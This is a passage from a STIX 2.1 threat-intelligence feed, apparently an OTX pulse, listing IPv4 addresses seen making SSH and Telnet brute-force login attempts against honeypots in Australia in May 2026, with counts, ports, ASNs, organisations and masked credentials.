      "id": "indicator--65d632b1-bc62-45bc-a519-da723a7ed41e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.158.60.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T14:15:10.000Z",
      "valid_until": "2026-06-10T14:15:08.000Z"
    },
    {
      "created": "2026-05-09T15:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45609. Organisation(s): Bharti Airtel Ltd. AS for GPRS Service.",
      "id": "indicator--21b06721-edea-43b7-a119-b90c3e55e23a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T15:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.219.194.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:15:19.000Z",
      "valid_until": "2026-06-10T15:15:09.000Z"
    },
    {
      "created": "2026-05-09T15:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 18209. Organisation(s): Atria Convergence Technologies Ltd..",
      "id": "indicator--76f4e764-2c8f-4df8-a6e0-37e5d1d1a463",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T15:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.123.179.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:15:19.000Z",
      "valid_until": "2026-06-10T15:15:09.000Z"
    },
    {
      "created": "2026-05-09T15:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 22295. Organisation(s): Advin Services LLC.",
      "id": "indicator--50817065-dda8-41f0-be84-79fb96ab73f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T15:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.248.80.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:15:19.000Z",
      "valid_until": "2026-06-10T15:15:09.000Z"
    },
    {
      "created": "2026-05-09T15:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--450745f4-d61b-4daa-8c22-4c4e8113ce7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T15:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.22.49.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:15:19.000Z",
      "valid_until": "2026-06-10T15:15:09.000Z"
    },
    {
      "created": "2026-05-09T15:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 22047. Organisation(s): VTR BANDA ANCHA S.A..",
      "id": "indicator--a03e2386-e922-45c8-8c84-be21ef9ecaea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T15:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.44.186.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:15:19.000Z",
      "valid_until": "2026-06-10T15:15:09.000Z"
    },
    {
      "created": "2026-05-09T15:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 48642. Organisation(s): Joint stock company For.",
      "id": "indicator--01f8e55d-6083-4135-b774-7a657bb522c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T15:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.109.49.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:15:19.000Z",
      "valid_until": "2026-06-10T15:15:09.000Z"
    },
    {
      "created": "2026-05-09T15:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 49800. Organisation(s): GNC-Alfa CJSC.",
      "id": "indicator--885d037e-5d61-4712-ab4f-e108d0c792b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T15:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.186.118.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:15:19.000Z",
      "valid_until": "2026-06-10T15:15:09.000Z"
    },
    {
      "created": "2026-05-09T15:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--faccec54-c492-44f1-abfe-43ac813b5af4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T15:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '40.74.212.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:15:19.000Z",
      "valid_until": "2026-06-10T15:15:09.000Z"
    },
    {
      "created": "2026-05-09T15:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--c7f7c6f8-72c4-4bc0-8150-a73ddc8a37c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T15:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.43.92.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:15:19.000Z",
      "valid_until": "2026-06-10T15:15:09.000Z"
    },
    {
      "created": "2026-05-09T15:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 49800. Organisation(s): GNC-Alfa CJSC.",
      "id": "indicator--003c61d1-edfe-4a9a-924b-7b0640fd5960",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T15:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.89.27.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:15:19.000Z",
      "valid_until": "2026-06-10T15:15:09.000Z"
    },
    {
      "created": "2026-05-09T15:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): a***n. Passwords observed (masked): p******d.",
      "id": "indicator--cbdd658c-4af3-4320-b4e8-1f6da3fb6f26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T15:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.89.160.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:15:19.000Z",
      "valid_until": "2026-06-10T15:15:09.000Z"
    },
    {
      "created": "2026-05-09T15:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--e2c2ad7b-ce96-4fb6-9cc9-22a974312272",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T15:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.48.46.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:15:19.000Z",
      "valid_until": "2026-06-10T15:15:09.000Z"
    },
    {
      "created": "2026-05-09T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265369. Organisation(s): C-ComTelecom Servios Ltda-ME.",
      "id": "indicator--303f1f54-862d-47d6-bf67-9ed0e191e53e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.118.46.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T16:15:10.000Z",
      "valid_until": "2026-06-10T16:15:08.000Z"
    },
    {
      "created": "2026-05-09T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--e76d5886-fa02-4500-9ec9-c9f7cba00558",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.172.95.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T16:15:10.000Z",
      "valid_until": "2026-06-10T16:15:08.000Z"
    },
    {
      "created": "2026-05-09T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--d08c77dc-9406-4158-bac3-103775ac2593",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.42.184.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T16:15:10.000Z",
      "valid_until": "2026-06-10T16:15:08.000Z"
    },
    {
      "created": "2026-05-09T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited.",
      "id": "indicator--02512c60-1a59-48ec-a6ee-8805c9ac639a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T16:15:10.000Z",
      "valid_until": "2026-06-10T16:15:08.000Z"
    },
    {
      "created": "2026-05-09T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--724445c8-4f70-4cba-b1bb-d867c39478f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.176.216.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T16:15:10.000Z",
      "valid_until": "2026-06-10T16:15:08.000Z"
    },
    {
      "created": "2026-05-09T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--e299b081-f3ad-4150-a9a5-96d1cdbdf7db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T16:15:10.000Z",
      "valid_until": "2026-06-10T16:15:08.000Z"
    },
    {
      "created": "2026-05-09T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--267bbacd-1def-4b4c-97c3-a5cce3fa4333",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T16:15:10.000Z",
      "valid_until": "2026-06-10T16:15:08.000Z"
    },
    {
      "created": "2026-05-09T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--6aca70a6-537f-45ae-a521-0bb2327c7072",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T16:15:10.000Z",
      "valid_until": "2026-06-10T16:15:08.000Z"
    },
    {
      "created": "2026-05-09T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 6810. Organisation(s): Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD..",
      "id": "indicator--7fac5412-54cb-4fa1-95c7-bb34f932242c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.177.174.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T16:15:10.000Z",
      "valid_until": "2026-06-10T16:15:08.000Z"
    },
    {
      "created": "2026-05-09T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5089. Organisation(s): Virgin Media.",
      "id": "indicator--ffc18b92-c459-4ce8-a850-3a88677d294d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.2.234.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T16:15:10.000Z",
      "valid_until": "2026-06-10T16:15:08.000Z"
    },
    {
      "created": "2026-05-09T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 42772. Organisation(s): Unitary enterprise A1.",
      "id": "indicator--a69f71a0-92b2-4edc-80a8-4046f98b6154",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.149.132.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T16:15:10.000Z",
      "valid_until": "2026-06-10T16:15:08.000Z"
    },
    {
      "created": "2026-05-09T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): a***n, t********3. Passwords observed (masked): r*******6, t*****3.",
      "id": "indicator--4e1d77d3-9e12-4e04-a09e-de5b762fc955",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.48.106.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T17:15:10.000Z",
      "valid_until": "2026-06-10T17:15:08.000Z"
    },
    {
      "created": "2026-05-09T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e6d3650c-049d-415d-b439-6dd04c9f5bc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T17:15:10.000Z",
      "valid_until": "2026-06-10T17:15:08.000Z"
    },
    {
      "created": "2026-05-09T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 145. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): s*****r, u****u, 3**********4, a***n, d****s. Passwords observed (masked): ***, 1*******#, 3***********4, 3**********4, A*******3.",
      "id": "indicator--f2411826-1302-4d6f-975a-2063662ca810",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.209.4.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T17:15:10.000Z",
      "valid_until": "2026-06-10T17:15:08.000Z"
    },
    {
      "created": "2026-05-09T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11650. Organisation(s): Pioneer Long Distance Inc..",
      "id": "indicator--9bc682cf-582e-472b-b32d-79bbc90b5f3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.242.220.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T17:15:10.000Z",
      "valid_until": "2026-06-10T17:15:08.000Z"
    },
    {
      "created": "2026-05-09T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 153233. Organisation(s): TOSHAM TELECOM PRIVATE LIMITED.",
      "id": "indicator--d84571fb-6186-4543-a9cb-91efadfdae57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.191.137.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T17:15:10.000Z",
      "valid_until": "2026-06-10T17:15:08.000Z"
    },
    {
      "created": "2026-05-09T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262322. Organisation(s): MMER Provedor de Internet Ltda - ME.",
      "id": "indicator--70b5e380-6a12-441f-bcef-039ad2e76598",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.124.114.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T17:15:10.000Z",
      "valid_until": "2026-06-10T17:15:08.000Z"
    },
    {
      "created": "2026-05-09T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--80098bae-a556-437c-98b0-da48557a1fe7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.190.86.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T17:15:10.000Z",
      "valid_until": "2026-06-10T17:15:08.000Z"
    },
    {
      "created": "2026-05-09T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 227. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 54600. Organisation(s): PEG TECH INC. Usernames observed (masked): u****u, a***n, f*****r, s*****r, t**t. Passwords observed (masked): 1***5, ***, 1****3, 1***0, 1****6.",
      "id": "indicator--43ef236b-c408-401f-9b18-6eed33f9039d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.196.165.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T17:15:10.000Z",
      "valid_until": "2026-06-10T17:15:08.000Z"
    },
    {
      "created": "2026-05-09T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): !******r.",
      "id": "indicator--446811b0-3a1c-4aa4-aa58-ae0c46878348",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.217.232.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T17:15:10.000Z",
      "valid_until": "2026-06-10T17:15:08.000Z"
    },
    {
      "created": "2026-05-09T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG.",
      "id": "indicator--093febd6-ab9b-4d2d-a253-84f10580b196",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.151.14.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T17:15:10.000Z",
      "valid_until": "2026-06-10T17:15:08.000Z"
    },
    {
      "created": "2026-05-09T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A..",
      "id": "indicator--86f47cde-70bd-4f58-b122-7aae24e6f8ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.50.125.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T18:15:10.000Z",
      "valid_until": "2026-06-10T18:15:08.000Z"
    },
    {
      "created": "2026-05-09T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28210. Organisation(s): GIGA MAIS FIBRA TELECOMUNICACOES S.A..",
      "id": "indicator--099589b0-6767-444a-9903-d1c8a581d412",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.191.220.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T18:15:10.000Z",
      "valid_until": "2026-06-10T18:15:08.000Z"
    },
    {
      "created": "2026-05-09T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--a736981c-fe49-437e-908b-f6c8ce94d760",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T18:15:10.000Z",
